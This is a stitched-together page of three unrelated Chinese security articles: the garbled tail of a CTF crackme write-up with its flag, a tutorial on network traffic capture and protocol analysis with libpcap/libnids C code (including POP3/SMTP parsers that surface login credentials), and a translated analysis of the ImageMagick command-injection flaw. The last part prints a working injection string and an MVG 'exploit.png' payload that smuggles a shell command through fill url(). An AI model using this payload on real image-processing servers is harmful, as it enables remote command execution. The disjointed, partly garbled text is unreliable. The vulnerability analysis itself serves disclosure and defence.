如果我们设法清除所有验证测试，我们将会在(0x140001750)函数中到达该地址 0x14000151C 。如果此函数返回
0，我们会得到一个"再试一次"的消息。这么看来，我们需要确保此函数返回值是 1。
缩放到 @ 0x140001750 函数中，我们可以看到它为 0x0，0x0，0xD 0x7 设置了一个变量的初始状态。
进一步深入函数，我们会看到 0 x 的最终状态概览，（也可能是0xA，0xA或是0 x），代码将会设置检查值为 1！
可以观察到的是给定的输入数据以及相应的变量状态变化。换句话说，我们必须正确输入结束状态变量。
我们知道输入应该是32 个字符，这相当于 16 个组合。每个组合都可以是 0x11，0x12，0x13、 0x21、
0x22，0x23，0x31，0x32，0x33这些形式。但是状态不会改变，如果输入的值是 0x11，0x22，0x33，这将可能的输入减少到了只有
0x12，0x13，0x21，0x23，0x31，0x32这几种形式。
因此暴力破解永远不可能是一个明智的选择。
SMT Solver会做这项工作，但是让我们试试更容易的手动处理。我将0x140001750 的代码反编译到 php 脚本中。你可以在本文提供的
github 链接中找到脚本。现在让我们进一步观察。
如上图所示有一些有趣的东西。我们测试了 6种 不同可能的组合作为第一个输入，我们最终只得到了3种不同的结果。第一个输入结果返回到初始状态，所以我们只有
2种不同结果。从下图中，我们只是需要顺着路径继续观察。
假设我们只有这一条路径，我们可能永远达不到最终状态！
标记： PAN{C0ngr47ulaT1ons_buddy_y0Uv3_solved_the_re4l__prObL3M} | 社区文章 |
#### author：elknot@360corpsec
广告位招租
* * *
## 0x00 概述
这篇稿子其实被约了很长时间了，因为一直没时间去写，最近由于年底了，需要整理一些东西出来，所以现在就先写到这里了。
由于本人本科学的网络工程，所以对网络协议这一块的了解还算略懂，网络协议分析其实在网络安全领域里面算是一个比较古老的技术了，原理其实就是我们大学计算机网络基础课里面学的。但是实际知道企业里面，尤其是网络设施复杂，数据量较大的IDC网络，协议分析是比较痛苦的，一方面是性能问题，另一方面是储存和可视化问题。
首先先来点科普，网络镜像流量分析需要完成的几项工作：
1. 端口镜像
2. 数据包捕获和抓取
3. 数据包分析
4. 会话还原和重组
5. 应用层协议分析
6. 可视化展示
其实这个实验环境是可以在家模拟的，搞一个Mikrotik
RouterBoard然后做端口镜像倒到数据包采集板里面，之后去分析就OK了，这里就需要简单的来说一下网络方面的知识了。（基础知识扎实的可以跳过）
由于我们现在的网络协议栈走的都是TCP/IP协议栈，按照TCP/IP协议栈的规范，TCP/IP协议栈的模型是四层模型（主机接口层、网络层、传输层和应用层，有些地方因为教材版本的差异主机接口层会被描述为数据链路层、传输层会被描述为运输层，但是实际不影响其功能的描述）。
1. 主机接口层层是物理传输通道，可使用多种传输介质传输，可建立在任何物理传输网上。比如光纤、双绞线等
2. 网络层：其主要功能是要完成网络中主机间“分组”(Packet)的传输。
3. 传输层：其主要任务是向上一层提供可靠的端到端（End-to-End）服务，确保“报文”无差错、有序、不丢失、无重复地传输。它向高层屏蔽了下层数据通信的细节，是计算机通信体系结构中最关键的一层。
4. 应用层：应用层确定进程间通信的性质，以满足用户的需要。
他们的数据存放方式依次为：（比特流、帧）、分组、会话、应用。
科普时间结束，回归正题，企业内网由于众所周知的原因吧，所以本文上所有的代码全部基于实验代码（包捕获方法采用libpcap，包解析方法采用libnids），与实际生产环境（包捕获方法推荐DNA模式的PF_RING，包分析的方法建议采用nDPI）要区分开，针对IDC的流量其实我们可以去设计这么一个架构来解决问题：
这个图其实大致的流程就是：用户在访问互联网业务的时候，流量经过入口路由，然后将其做镜像，使其可以直接访问业务系统，同时还能被我们分析。首先分析的时候由于数据包还是比特流的状态，所以我们需要将比特通过数据包采集器来还原成能用的东西，之后将数据移交至数据包分析服务器，对其进行深度分析，将分析结果存放至数据库，然后就是检索、规则匹配、可视化、etc一大堆常规的操作，如果有接口的话，可以尝试在DashBoard区域放置和IDC集群相关ACL的操作，直接将恶意的IP拉黑。
* * *
## 0x01 数据包的捕获
这里抓包我们的实验代码使用libpcap来编写，但是生产环境中应使用PF_RING，如果有更高的需求请移步Intel DPDK或者是腾讯的F-Stack。
libpcap是一个网络数据包捕获函数库，功能非常强大，Linux下著名的tcpdump就是以它为基础的。
其实libpcap使用的方法还是比较简单的，上一个简单的samplecode。
#include <pcap.h>
#include <stdio.h>
int main()
{
char errBuf[PCAP_ERRBUF_SIZE], * device;
device = pcap_lookupdev(errBuf);
if(device)
{
printf("success: device: %s\n", device);
}
else
{
printf("error: %s\n", errBuf);
}
return 0;
}
使用gcc编译，需要添加编译选项：
gcc -g -W all -o test test.c -lpcap
上面这段代码的就是libpcap打开网络设备的方式，实际上我们在使用libpcap的时候要经过4个步骤：打开网络设备、设置过滤规则、捕获数据、关闭设备。
libpcap里面有几个比较重要的API：
pcap_lookupdev()：函数用于查找网络设备，返回可被 pcap_open_live() 函数调用的网络设备名指针。
pcap_lookupnet()：函数获得指定网络设备的网络号和掩码。
pcap_open_live()： 函数用于打开网络设备，并且返回用于捕获网络数据包的数据包捕获描述字。对于此网络设备的操作都要基于此网络设备描述字。
pcap_compile()： 函数用于将用户制定的过滤策略编译到过滤程序中。
pcap_setfilter()：函数用于设置过滤器。
pcap_loop()：函数 pcap_dispatch() 函数用于捕获数据包，捕获后还可以进行处理，此外 pcap_next() 和 pcap_next_ex() 两个函数也可以用来捕获数据包。
pcap_close()：函数用于关闭网络设备，释放资源。
我们用一段代码来熟悉一下这些API：
#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
int main()
{
char errBuf[PCAP_ERRBUF_SIZE], * devStr;
/* get a device */
devStr = pcap_lookupdev(errBuf);
if(devStr)
{
printf("success: device: %s\n", devStr);
}
else
{
printf("error: %s\n", errBuf);
exit(1);
}
/* open a device, wait until a packet arrives */
pcap_t * device = pcap_open_live(devStr, 65535, 1, 0, errBuf);
if(!device)
{
printf("error: pcap_open_live(): %s\n", errBuf);
exit(1);
}
/* wait a packet to arrive */
struct pcap_pkthdr packet;
const u_char * pktStr = pcap_next(device, &packet);
if(!pktStr)
{
printf("did not capture a packet!\n");
exit(1);
}
printf("Packet length: %d\n", packet.len);
printf("Number of bytes: %d\n", packet.caplen);
printf("Recieved time: %s\n", ctime((const time_t *)&packet.ts.tv_sec));
pcap_close(device);
return 0;
}
这个其实就是一个抓包的简单实现，实际上我们会一直抓包，而不是抓一个，同时要把数据包里面的内容进行输出，所以我们这里就需要循环捕获数据包，这时候就需要编写以下的代码来完成操作。
#include <stdio.h>
#include <pcap.h>
#include <arpa/inet.h>
#include <time.h>
#include <stdlib.h>
#define BUFSIZE 1514
struct ether_header
{
unsigned char ether_dhost[6]; //目的mac
unsigned char ether_shost[6]; //源mac
unsigned short ether_type; //以太网类型
};
/*******************************回调函数************************************/
void ethernet_protocol_callback(unsigned char *argument,const struct pcap_pkthdr *packet_heaher,const unsigned char *packet_content)
{
unsigned char *mac_string; //
struct ether_header *ethernet_protocol;
unsigned short ethernet_type; //以太网类型
printf("----------------------------------------------------\n");
printf("%s\n", ctime((time_t *)&(packet_heaher->ts.tv_sec))); //转换时间
ethernet_protocol = (struct ether_header *)packet_content;
mac_string = (unsigned char *)ethernet_protocol->ether_shost;//获取源mac地址
printf("Mac Source Address is %02x:%02x:%02x:%02x:%02x:%02x\n",*(mac_string+0),*(mac_string+1),*(mac_string+2),*(mac_string+3),*(mac_string+4),*(mac_string+5));
mac_string = (unsigned char *)ethernet_protocol->ether_dhost;//获取目的mac
printf("Mac Destination Address is %02x:%02x:%02x:%02x:%02x:%02x\n",*(mac_string+0),*(mac_string+1),*(mac_string+2),*(mac_string+3),*(mac_string+4),*(mac_string+5));
ethernet_type = ntohs(ethernet_protocol->ether_type);//获得以太网的类型
printf("Ethernet type is :%04x\n",ethernet_type);
switch(ethernet_type)
{
case 0x0800:printf("The network layer is IP protocol\n");break;//ip
case 0x0806:printf("The network layer is ARP protocol\n");break;//arp
case 0x0835:printf("The network layer is RARP protocol\n");break;//rarp
default:break;
}
usleep(800*1000);
}
int main(int argc, char *argv[])
{
char error_content[100]; //出错信息
pcap_t * pcap_handle;
unsigned char *mac_string;
unsigned short ethernet_type; //以太网类型
char *net_interface = NULL; //接口名字
struct pcap_pkthdr protocol_header;
struct ether_header *ethernet_protocol;
//获取网络接口
net_interface = pcap_lookupdev(error_content);
if(NULL == net_interface)
{
perror("pcap_lookupdev");
exit(-1);
}
pcap_handle = pcap_open_live(net_interface,BUFSIZE,1,0,error_content);//打开网络接口
if(pcap_loop(pcap_handle,-1,ethernet_protocol_callback,NULL) < 0)
{
perror("pcap_loop");
}
pcap_close(pcap_handle);
return 0;
}
其实libpcap本身还支持BPF过滤器语法，由于我们这里不是一个讲编程和网络的地方，所以我们这里就不在详细阐述了，上面的代码来自于<http://blog.csdn.net/tennysonsky/article/details/44811899>
，大家可以去这里看详细的libpcap的使用。
* * *
## 0x02 数据包分析
刚刚只进行了数据包捕获的模块，但是实际上还会进行分析详细的数据包和流量，所以这时候我们需要用到另外一个库，另一个库叫做libnids，也是一个比较常见的库。
libnids的英文意思是 Network Intrusion Detect System
library，即网络入侵监测系统函数库。它是在前面介绍的两种C函数接口库libnet和libpcap的基础上开发的，封装了开发NIDS所需的许
多通用型函数。linids提供的接口函数监视流经本地的所有网络通信，检查数据包等。除此之外，还具有重组TCP数据段、处理IP分片包和监测TCP端
口扫描的功能。利用libnids接口函数库，NIDS开发者不需要再编写底层的网络处理代码，只需专注于NIDS本身功能的实现即可。
在使用libnids对数据包进行重组和会话还原的时候，IP分片重组和TCP会话重组是必须得知道的。首先先来说IP分片，在libnids中，我们需要定义void
ip_frag_func(struct ip *
a_packet)作为回调函数，在调用nids_init()函数初始化后，使用nids的函数进行注册nids_register_ip_frag(ip_frag_func)，这样回调函数ip_frag_func会在适当的时候由libnids调用，参数a_packet指针将指向接收到的数据报。
我们通过一段代码来说明一下libnids如何使用：
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include "nids.h"
#define int_ntoa(x) inet_ntoa(*((struct in_addr *)&x))
// struct tuple4 包含TCP连接的地址和端口号
// 下面的辅助函数生成一个类似10.0.0.1,1024,10.0.0.2,23的字符串
char *adres (struct tuple4 addr)
{
static char buf[256];
strcpy (buf, int_ntoa (addr.saddr));
sprintf (buf + strlen (buf), ",%i,", addr.source);
strcat (buf, int_ntoa (addr.daddr));
sprintf (buf + strlen (buf), ",%i", addr.dest);
return buf;
}
void tcp_callback (struct tcp_stream *a_tcp, void ** this_time_not_needed)
{
char buf[1024];
strcpy (buf, adres (a_tcp->addr)); // we put conn params into buf
if (a_tcp->nids_state == NIDS_JUST_EST)
{
// 由a_tcp描述的连接已经建立
// 这里我们决定是否希望跟踪这个流
// 例子条件： if (a_tcp->addr.dest!=23) return;
// 在本程序中我们跟踪所有的流所以。。。。。：
a_tcp->client.collect++; // 我们需要客户端接收到的数据.......
a_tcp->server.collect++; // 我们需要服务器接收到的数据.......
a_tcp->server.collect_urg++; // 我们需要服务器接收到的紧急数据.......
#ifdef WE_WANT_URGENT_DATA_RECEIVED_BY_A_CLIENT
a_tcp->client.collect_urg++; // 如果我们不增加这个值，当紧急数据到达
// 时我们不会被通知。
#endif
fprintf (stderr, "%s establishedn", buf);
return;
}
if (a_tcp->nids_state == NIDS_CLOSE)
{
// 连接已经正常结束
fprintf (stderr, "%s closingn", buf);
return;
}
if (a_tcp->nids_state == NIDS_RESET)
{
// 连接已经通过RST关闭。
fprintf (stderr, "%s resetn", buf);
return;
}
if (a_tcp->nids_state == NIDS_DATA)
{
// 新的数据已经到达，必须判断其数据流向
// 判断其是否紧急数据
struct half_stream *hlf;
if (a_tcp->server.count_new_urg)
{
// 紧急数据的新字节已经到达
strcat(buf,"(urgent->)");
buf[strlen(buf)+1]=0;
buf[strlen(buf)]=a_tcp->server.urgdata;
write(1,buf,strlen(buf));
return;
}
// 我们不必必须检查是否客户端的紧急数据已经到达
// 因为我们没有增加a_tcp->client.collect_urg的值
// 因此，我们还有一些正常的数据关心
if (a_tcp->client.count_new)
{
//客户端的新数据
hlf = &a_tcp->client; // 现在我们将处理hlf变量
// 这个变量指向客户端一边的连接。
strcat (buf, "(<-)"); // 数据的符号方向
}
else
{
hlf = &a_tcp->server; // 类似的
strcat (buf, "(->)");
}
fprintf(stderr,"%s",buf); // 我们打印连接参数(saddr, daddr, sport, dport)
// 和数据流向(-> or <-)
write(2,hlf->data,hlf->count_new); // 我们打印最新到达的数据
}
return ;
}
int main ()
{
// 这里我们可以改变Libnids的params,例如 nids_params.n_hosts=256;
if (!nids_init ())
{
fprintf(stderr,"%sn",nids_errbuf);
exit(1);
}
nids_register_tcp (tcp_callback);
nids_run ();
return 0;
}
* * *
## 0x02 应用层协议分析
这里我们就完成了一个简单的TCP会话重组，但是实际上我们需要分析应用层中的协议，所以我这里放两个samplecode用来分析smtp协议和pop3协议。
samplecode1:
#include <stdio.h>
#include<stdlib.h>
#include"nids.h"
#include"string.h"
#include <ctype.h>
#include<arpa/inet.h>
char ascii_string[10000];
char *char_to_ascii(char ch)
{
char *string;
ascii_string[0]=0;
string = ascii_string;
if(isgraph(ch))
*string++=ch;
else if(ch==' ')
*string++=ch;
else if(ch=='\n'||ch=='\r')
*string++=ch;
else
*string++='.';
*string=0;
return ascii_string;
}
//+++++++++++++++++++++++++++++++++++++++++++++++++
// 下面分析pop3协议的回调函数
//+++++++++++++++++++++++++++++++++++++++++++++++++
void pop3_protocol_callback(struct tcp_stream *pop3_connection,void **arg)
{
int i;
char address_string[1024];
char content[65535];
struct tuple4 ip_and_port;
ip_and_port=pop3_connection->addr;
strcpy(address_string,inet_ntoa(*((struct in_addr*)&(ip_and_port.saddr))));
sprintf(address_string+strlen(address_string),":%i",ip_and_port.source);
strcat(address_string,"<------------>");
strcat(address_string,inet_ntoa(*((struct in_addr*)&(ip_and_port.daddr))));
sprintf(address_string+strlen(address_string),":%i",ip_and_port.dest);
strcat(address_string,"\n");
switch (pop3_connection->nids_state)
{
case NIDS_JUST_EST:/*POP3客户端和服务器建立连接*/
if(pop3_connection->addr.dest==110)
{
pop3_connection->client.collect++;/*pop3客户端接收数据*/
pop3_connection->server.collect++;/*pop3服务器接收数据*/
pop3_connection->client.collect_urg++;/*pop3客户端接收紧急数据*/
pop3_connection->server.collect_urg++;/*pop3服务器接收紧急数据*/
printf("%spop3客户端和服务器建立连接\n",address_string);
}
case NIDS_CLOSE:/*POP3协议连接正常关闭*/
printf("---------------------------------------------------\n");
printf("%sPOP3协议连接正常关闭\n",address_string);
return;
case NIDS_RESET:/*POP3协议连接被RESET关闭*/
printf("---------------------------------------------------\n");
printf("%sPOP3协议连接被RESET关闭\n",address_string);
return;
case NIDS_DATA:/*POP3协议有新的数据到达*/
{
char status_code[5];
struct half_stream *hlf;
if(pop3_connection->server.count_new_urg)/*POP3服务器收到新的紧急数据*/
{
printf("---------------------------------------------------\n");
strcpy(address_string,inet_ntoa(*((struct in_addr*)&(ip_and_port.saddr))));
sprintf(address_string+strlen(address_string),":%i",ip_and_port.source);
strcat(address_string,"urgent---->");
strcat(address_string,inet_ntoa(*((struct in_addr*)&(ip_and_port.daddr))));
sprintf(address_string+strlen(address_string),":%i",ip_and_port.dest);
strcat(address_string,'\n');
address_string[strlen(address_string)+1]=0;
address_string[strlen(address_string)];
pop3_connection->server.urgdata;
printf("%s",address_string);
return;
}
if(pop3_connection->client.count_new_urg)/*POP3客户端收到新的紧急数据*/
{
printf("---------------------------------------------------\n");
strcpy(address_string,inet_ntoa(*((struct in_addr*)&(ip_and_port.saddr))));
sprintf(address_string+strlen(address_string),":%i",ip_and_port.source);
strcat(address_string,"<------urgent");
strcat(address_string,inet_ntoa(*((struct in_addr*)&(ip_and_port.daddr))));
sprintf(address_string+strlen(address_string),":%i",ip_and_port.dest);
strcat(address_string,'\n');
address_string[strlen(address_string)+1]=0;
address_string[strlen(address_string)];
pop3_connection->server.urgdata;
printf("%s",address_string);
return;
}
if(pop3_connection->client.count_new)/*POP3客户端收到新的数据*/
{
hlf=&pop3_connection->client;
strcpy(address_string,inet_ntoa(*((struct in_addr*)&(ip_and_port.saddr))));
sprintf(address_string+strlen(address_string),":%i",ip_and_port.source);
strcat(address_string,"<------count_new");
strcat(address_string,inet_ntoa(*((struct in_addr*)&(ip_and_port.daddr))));
sprintf(address_string+strlen(address_string),":%i",ip_and_port.dest);
strcat(address_string,'\n');
printf("---------------------------------------------------\n");
printf("%s\n",address_string);
memcpy(content,hlf->data,hlf->count_new);
content[hlf->count_new]='\0';
if(strstr(strncpy(status_code,content,4),"+OK"))
printf("操作成功\n");
if(strstr(strncpy(status_code,content,4),"-ERR"))
printf("操作失败\n");
for(i=0;i<hlf->count_new;i++)
{
printf("%s",char_to_ascii(content[i]));
}
printf("\n");
if(strstr(content,"\n\r.\n\r"))
printf("数据传输结束\n");
}
else/*POP3服务器收到新的数据*/
{
hlf=&pop3_connection->server;
strcpy(address_string,inet_ntoa(*((struct in_addr*)&(ip_and_port.saddr))));
sprintf(address_string+strlen(address_string),":%i",ip_and_port.source);
strcat(address_string,"count_new------>");
strcat(address_string,inet_ntoa(*((struct in_addr*)&(ip_and_port.daddr))));
sprintf(address_string+strlen(address_string),":%i",ip_and_port.dest);
strcat(address_string,'\n');
printf("---------------------------------------------------\n");
printf("%s\n",address_string);
memcpy(content,hlf->data,hlf->count_new);
content[hlf->count_new]='\0';
if(strstr(content,"USER"))
printf("邮件用户名为：\n");
if(strstr(content,"PASS"))
printf("用户密码为：\n");
if(strstr(content,"STAT"))
printf("返回统计资料：\n");
if(strstr(content,"RETR"))
printf("获取邮件:\n");
if(strstr(content,"DELE"))
printf("删除邮件：\n");
if(strstr(content,"QUIT"))
printf("退出连接：\n");
for(i=0;i<hlf->count_new;i++)
{
printf("%s",char_to_ascii(content[i]));
}
printf("\n");
}
}
default:
break;
}
return;
}
int main(void)
{
if(nids_init())/*Libnids初始化*/
{
printf("%s\n",nids_errbuf);
return -1;
}
nids_register_tcp(pop3_protocol_callback);/*注册分析Telnet协议的回调函数*/
nids_run();/*进入循环捕获数据包的状态*/
}
samplecode2:
#include <stdio.h>
#include<stdlib.h>
#include"nids.h"
#include"string.h"
#include <ctype.h>
#include<arpa/inet.h>
char ascii_string[10000];
char *char_to_ascii(char ch)
{
char *string;
ascii_string[0] = 0;
string = ascii_string;
if (isgraph(ch))
*string++ = ch;
else if (ch == ' ')
*string++ = ch;
else if (ch == '\n' || ch == '\r')
*string++ = ch;
else
*string++ = '.';
*string = 0;
return ascii_string;
}
/*
=======================================================================================================================
下面是分析SMTP协议的回调函数
=======================================================================================================================
*/
void smtp_protocol_callback(struct tcp_stream *smtp_connection, void **arg)
{
int i;
char address_string[1024];
char content[65535];
char content_urgent[65535];
struct tuple4 ip_and_port = smtp_connection->addr;
strcpy(address_string, inet_ntoa(*((struct in_addr*) &(ip_and_port.saddr))));
sprintf(address_string + strlen(address_string), " : %i", ip_and_port.source);
strcat(address_string, " <---> ");
strcat(address_string, inet_ntoa(*((struct in_addr*) &(ip_and_port.daddr))));
sprintf(address_string + strlen(address_string), " : %i", ip_and_port.dest);
strcat(address_string, "\n");
switch (smtp_connection->nids_state)
{
case NIDS_JUST_EST:
if (smtp_connection->addr.dest == 25)
{
/* SMTP客户端和SMTP服务器端建立连接 */
smtp_connection->client.collect++;
/* SMTP客户端接收数据 */
smtp_connection->server.collect++;
/* SMTP服务器接收数据 */
smtp_connection->server.collect_urg++;
/* SMTP服务器接收紧急数据 */
smtp_connection->client.collect_urg++;
/* SMTP客户端接收紧急数据 */
printf("%sSMTP发送方与SMTP接收方建立连接\n", address_string);
}
return ;
case NIDS_CLOSE:
/* SMTP客户端与SMTP服务器连接正常关闭 */
printf("--------------------------------\n");
printf("%sSMTP发送方与SMTP接收方连接正常关闭\n", address_string);
return ;
case NIDS_RESET:
/* SMTP客户端与SMTP服务器连接被RST关闭 */
printf("--------------------------------\n");
printf("%sSMTP发送方与SMTP接收方连接被REST关闭\n", address_string);
return ;
case NIDS_DATA:
{
/* SMTP协议接收到新的数据 */
char status_code[4];
struct half_stream *hlf;
if (smtp_connection->server.count_new_urg)
{
/* SMTP服务器接收到新的紧急数据 */
printf("--------------------------------\n");
strcpy(address_string, inet_ntoa(*((struct in_addr*) &(ip_and_port.saddr))));
sprintf(address_string + strlen(address_string), " : %i", ip_and_port.source);
strcat(address_string, " urgent---> ");
strcat(address_string, inet_ntoa(*((struct in_addr*) &(ip_and_port.daddr))));
sprintf(address_string + strlen(address_string), " : %i", ip_and_port.dest);
strcat(address_string, "\n");
address_string[strlen(address_string) + 1] = 0;
address_string[strlen(address_string)] = smtp_connection->server.urgdata;
printf("%s", address_string);
return ;
}
if (smtp_connection->client.count_new_urg)
{
/* SMTP客户端接收到新的紧急数据 */
printf("--------------------------------\n");
strcpy(address_string, inet_ntoa(*((struct in_addr*) &(ip_and_port.saddr))));
sprintf(address_string + strlen(address_string), " : %i", ip_and_port.source);
strcat(address_string, " <--- urgent ");
strcat(address_string, inet_ntoa(*((struct in_addr*) &(ip_and_port.daddr))));
sprintf(address_string + strlen(address_string), " : %i", ip_and_port.dest);
strcat(address_string, "\n");
address_string[strlen(address_string) + 1] = 0;
address_string[strlen(address_string)] = smtp_connection->client.urgdata;
printf("%s", address_string);
return ;
}
if (smtp_connection->client.count_new)
{
/* SMTP客户端接收到新的数据 */
hlf = &smtp_connection->client;
strcpy(address_string, inet_ntoa(*((struct in_addr*) &(ip_and_port.saddr))));
sprintf(address_string + strlen(address_string), ":%i", ip_and_port.source);
strcat(address_string, " <--- ");
strcat(address_string, inet_ntoa(*((struct in_addr*) &(ip_and_port.daddr))));
sprintf(address_string + strlen(address_string), ":%i", ip_and_port.dest);
strcat(address_string, "\n");
printf("--------------------------------\n");
printf("%s", address_string);
memcpy(content, hlf->data, hlf->count_new);
content[hlf->count_new] = '\0';
if (strstr(strncpy(status_code, content, 3), "221"))
printf("连接中止\n");
if (strstr(strncpy(status_code, content, 3), "250"))
printf("操作成功\n");
if (strstr(strncpy(status_code, content, 3), "220"))
printf("表示服务就绪\n");
if (strstr(strncpy(status_code, content, 3), "354"))
printf("开始邮件输入，以\".\"结束\n");
if (strstr(strncpy(status_code, content, 3), "334"))
printf("服务器响应验证\n");
if (strstr(strncpy(status_code, content, 3), "235"))
printf("认证成功可以发送邮件了\n");
for (i = 0; i < hlf->count_new; i++)
{
printf("%s", char_to_ascii(content[i]));
}
printf("\n");
}
else
{
/* SMTP服务器接收到新的数据 */
hlf = &smtp_connection->server;
strcpy(address_string, inet_ntoa(*((struct in_addr*) &(ip_and_port.saddr))));
sprintf(address_string + strlen(address_string), ":%i", ip_and_port.source);
strcat(address_string, " ---> ");
strcat(address_string, inet_ntoa(*((struct in_addr*) &(ip_and_port.daddr))));
sprintf(address_string + strlen(address_string), ":%i", ip_and_port.dest);
strcat(address_string, "\n");
printf("--------------------------------\n");
printf("%s", address_string);
memcpy(content, hlf->data, hlf->count_new);
content[hlf->count_new] = '\0';
if (strstr(content, "EHLO"))
printf("HELLO命令\n");
if (strstr(content, "QUIT"))
printf("退出连接\n");
if (strstr(content, "DATA"))
printf("开始传输数据\n");
if (strstr(content, "MAIL FROM"))
printf("发送方邮件地址为\n");
if (strstr(content, "RCPT TO"))
printf("接收方邮件地址为\n");
if (strstr(content, "AUTH"))
printf("请求认证\n");
if (strstr(content, "LOGIN"))
printf("认证机制为LOGIN\n");
for (i = 0; i < hlf->count_new; i++)
{
printf("%s", char_to_ascii(content[i]));
}
printf("\n");
if (strstr(content, "\n."))
printf("数据传输结束\n");
}
}
default:
break;
}
return ;
}
/*
=======================================================================================================================
主函数
=======================================================================================================================
*/
void main()
{
if (!nids_init())
/* Libnids初始化 */
{
printf("%s\n", nids_errbuf);
exit(1);
}
nids_register_tcp(smtp_protocol_callback);
/* 注册分析TCP协议的回调函数 */
nids_run();
/* 进入循环捕获数据包状态 */
}
到这里的话，基本上我们对协议分析就有了个了解。
* * *
## 0x03 数据DPI分析
DPI（Deep Packet
Inspection）是一种基于数据包的深度检测技术，针对不同的网络应用层载荷（例如HTTP、DNS等）进行深度检测，通过对报文的有效载荷检测决定其合法性。
其实安全方面使用DPI主要还是为了做流量方面的分析与取证，从而发现攻击行为和异常行为。
通常情况下，我们可以再出口流量抓一些流量样本过来使用wireshark分析就可以确定攻击与否，但是这个的话人力成本较大，如果我们有了DPI，就可以迅速的获得数据包内的信息，这样的话可以减少发现攻击的时间。
因为这种所有周知的原因，规则什么的不太好说，可以私下交流。
## 0x04 总结
这可能是今年这个系列的最后一篇文章了，下一篇文章打算写一个基于中间件模板的蜜罐平台的设计，估计看时间得到明年了，到时候再说吧 | 社区文章 |
# ImageMagick命令执行漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：攻防实验室
原文地址：<http://360adlab.com/?p=1895#10006-weixin-1-52626-6b3bffd01fdde4900130bc5a2751b6d1>
译文仅供参考，具体内容表达以及含义原文为准。
## 关于ImageMagick
ImageMagick是一个功能强大的开源图形处理软件,可以用来读、写和处理超过90种的图片文件,包括流行的JPEG、GIF、
PNG、PDF以及PhotoCD等格式。使用它可以对图片进行切割、旋转、组合等多种特效的处理。
由于其功能强大、性能较好,并且对很多语言都有拓展支持,所以在程序开发中被广泛使用。许多网站开发者喜爱使用ImageMagick拓展来做web上的图片处理工作,比如用户头像生成、图片编辑等。
比如php有[IMagick](http://pecl.php.net/package/imagick)、[MagickWand for
PHP](http://www.magickwand.org/)
、[phMagick](https://github.com/francodacosta/phmagick)等ImageMagick拓展库,java有[JMagick](http://www.jmagick.org/),python有[PythonMagick](http://www.imagemagick.org/download/python/)、[Wand](http://wand-py.org/) 等拓展库。
更多的拓展支持:
[http://www.imagemagick.org/script/api.php](http://www.imagemagick.org/script/api.php)
## 猪队友之ImageMagick
ImageMagick这次被曝出的漏洞应该算是一个本地的命令执行漏洞,危害不是太大,但是由于大量的web程序都使用了他的拓展,导致这些本地命令执行漏洞在web的环境里可以被远程触发,变成了危害巨大的远程命令执行。真的是名副其实的“猪队友”了。
命令执行漏洞是出在ImageMagick对https形式的文件处理的过程中。
ImageMagick之所以支持那么多的文件格式,是因为他内置了非常多的图像处理库,对于这些图像处理库,ImageMagick给他起了个名字叫做“Delegate”(委托),每个Delegate对应一种格式的文件,然后通过系统的system()命令来调用外部的程序对文件进行处理。
其默认的配置文件在源码的config/delegates.xml.in中,一般使用者很少会去修改这个配置文件。
具体的内容如下:
[https://github.com/ImageMagick/ImageMagick/blob/25d021ff1a60a67680dbb640ccc0b6b60f785192/magick/delegate.c](https://github.com/ImageMagick/ImageMagick/blob/25d021ff1a60a67680dbb640ccc0b6b60f785192/magick/delegate.c)(存在漏洞的版本)
对于https形式的文件,他是这样处理的:
command定义了他具体带入system()执行的命令:"wget" -q -O "%o" "https:%M"。
%M是占位符,在配置文件中有对占位符的定义:
%m被定义为输入的图片格式,也就是我们输入的url地址。但是由于只是做了简单的字符串拼接,所以我们可以将引号闭合后通过管道符带入其他命令,也就形成了命令注入。
比如url为:https://example.com"|ls "-la
那实际命令就变成了:
"wget" -q -O "%o" " https://example.com"|ls "-la"
ls –la被执行了。
如图所示:
## 危险升级
让漏洞危害进一步加大的是,ImageMagick支持通过.svg、.mvg(ImageMagick自定义的一种类似svg的格式)这种类型的文件来进行图形绘制,并允许在其中加载其他的delegate(比如存在漏洞的https
delegate)。并且在图形处理的过程中,ImageMagick会自动根据其内容进行处理,也就是说我们可以将文件随意定义为png、jpg等网站上传允许的格式,这大大增加了漏洞的可利用场景。
比如我们生成一个exploit.png的文件,内容为:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
在其中我们使用了fill url()的形式调用存在漏洞的https delegate,当ImageMagick去处理这个文件时,漏洞就会被触发。
## 影响范围
由于大量的web应用采用了ImageMagick做图片处理,所以这次漏洞的影响范围还是非常广泛的。目前已知PHP、java的ImageMagick扩展都在受影响之列,还有更多的拓展比如python、ruby、C#没有人去研究,所以我相信这个漏洞还会有更大的影响范围和利用场景。
在开源软件里,wordpress最早被爆出受到漏洞影响,由于其使用了PHP扩展ImageMagick处理图片,所以当攻击者拥有一定的权限(编辑权限即可),就可以通过后台的图像处理功能触发远程命令执行。
详细分析参考ricter的博客:
[http://ricterz.me/posts/Write%20Up%3A%20Remote%20Command%20Execute%20in%20Wordpress%204.5.1](http://ricterz.me/posts/Write%20Up%3A%20Remote%20Command%20Execute%20in%20Wordpress%204.5.1)
除了php,乌云社区还有人爆出java拓展一样受到影响:
[http://zone.wooyun.org/content/27047](http://zone.wooyun.org/content/27047)
还可以利用这个漏洞bypass php disable
function,这个利用场景真的很巧妙,和以前利用bash的漏洞通过mail函数bypass有异曲同工之妙。
新浪的SAE躺枪:[http://www.wooyun.org/bugs/wooyun-2016-0205051](http://www.wooyun.org/bugs/wooyun-2016-0205051)
当然我觉得存在问题的肯定不止这一家。
更多因为猪队友躺枪的还有众多使用了ImageMagick做图片处理的互联网厂商,我就不一一列举了,感兴趣的可以关注补天、乌云等漏洞平台。我们后续也会跟进一些开源程序的受影响情况。
## 漏洞修复
这个漏洞在4月30日被报告给了ImageMagick官方,官网当天便发布了一个新版本6.9.3-9修复这个问题,我们看一下官方是如何修复这个漏洞的。
[https://github.com/ImageMagick/ImageMagick/commit/2c04b05f205b5198f4c01b0c86097cba2b218fcf](https://github.com/ImageMagick/ImageMagick/commit/2c04b05f205b5198f4c01b0c86097cba2b218fcf)
将%M变为了%F,其实也就是通过filter过滤了一遍,通过白名单限制了允许传入的字符串:
那么在白名单里的有哪些字符呢:
图中的whitelist也就是白名单里的字符串,是的,你没有看错,单引号、双引号、反引号、转义符这些危险字符依然被允许传入。
在逗我吗…?
